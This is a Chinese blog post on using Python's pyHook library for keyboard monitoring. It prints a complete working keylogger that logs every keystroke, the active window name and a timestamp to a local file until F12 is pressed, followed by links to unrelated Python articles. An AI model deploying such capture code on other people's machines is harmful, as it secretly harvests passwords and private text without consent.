python中使用pyhook實現(xiàn)鍵盤監(jiān)控的例子
pyhook下載:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
pyhookAPI手冊:http://pyhook.sourceforge.net/doc_1.5.0/
以上網(wǎng)站上提供了幾個使用的例子,另外安裝pyhooks后,也會有一個例子的文件。于是拿來學(xué)習(xí)了一下,第一次運行時,提示沒有pythoncom模塊,就安裝了pywin32,安裝后,可以正常運行,但是會導(dǎo)致機器發(fā)卡,特別是中斷程序運行后,鼠標(biāo)會出現(xiàn)一段時間的自由晃動,找了半天原因,感覺主要是事件頻率過高,程序會經(jīng)??ㄔ趐ythoncom.PumpMessages()。
網(wǎng)上搜索了半天,看到有一帖子說是pythoncom.PumpMessages(n),n表示延遲時間,于是試著改了下,發(fā)現(xiàn)有一定效果,但不明顯,后來想是不是因為沒有終止程序,才會導(dǎo)致一直很卡呢,于是添加終止程序語句win32api.PostQuitMessage()。結(jié)果還算滿意。
# -*- coding: cp936 -*- import pythoncom import pyHook import time import win32api t='' asciistr='' keystr='' def onKeyboardEvent(event): global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') "處理鍵盤事件" if t==str(event.WindowName): asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key) else: t=str(event.WindowName) if asciistr=='' and keystr=='': wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當(dāng)前窗體名 wrfile.writelines("MessageName:%s\n" % str(event.MessageName)) wrfile.writelines("Message:%d\n" % event.Message) wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) else: wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當(dāng)前窗體名 wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) asciistr=chr(event.Ascii) keystr=str(event.Key) if str(event.Key)=='F12': #按下F12后終止 wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.close() win32api.PostQuitMessage() return True if __name__ == "__main__": #創(chuàng)建hook句柄 hm = pyHook.HookManager() #監(jiān)控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環(huán)獲取消息 pythoncom.PumpMessages(10000)
相關(guān)文章
2020新版本pycharm+anaconda+opencv+pyqt環(huán)境配置學(xué)習(xí)筆記,親測可用
這篇文章主要介紹了2020新版本pycharm+anaconda+opencv+pyqt環(huán)境配置學(xué)習(xí)筆記,親測可用,特此分享到腳本之家平臺,需要的朋友可以參考下2020-03-03Python內(nèi)置函數(shù)bin() oct()等實現(xiàn)進(jìn)制轉(zhuǎn)換
使用Python內(nèi)置函數(shù):bin()、oct()、int()、hex()可實現(xiàn)進(jìn)制轉(zhuǎn)換;先看Python官方文檔中對這幾個內(nèi)置函數(shù)的描述,需要了解的朋友可以參考下2012-12-12Python3實現(xiàn)的字典、列表和json對象互轉(zhuǎn)功能示例
這篇文章主要介紹了Python3實現(xiàn)的字典、列表和json對象互轉(zhuǎn)功能,結(jié)合實例形式分析了Python使用json模塊針對json格式數(shù)據(jù)編碼轉(zhuǎn)換相關(guān)操作技巧,需要的朋友可以參考下2018-05-05PyCharm Anaconda配置PyQt5開發(fā)環(huán)境及創(chuàng)建項目的教程詳解
這篇文章主要介紹了PyCharm Anaconda配置PyQt5開發(fā)環(huán)境及創(chuàng)建項目的方法,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-03-0330秒學(xué)會30個超實用Python代碼片段【收藏版】
許多人在數(shù)據(jù)科學(xué)、機器學(xué)習(xí)、web開發(fā)、腳本編寫和自動化等領(lǐng)域中都會使用Python,它是一種十分流行的語言。本文將簡要介紹30個簡短的、且能在30秒內(nèi)掌握的代碼片段,感興趣的朋友一起看看吧2019-10-10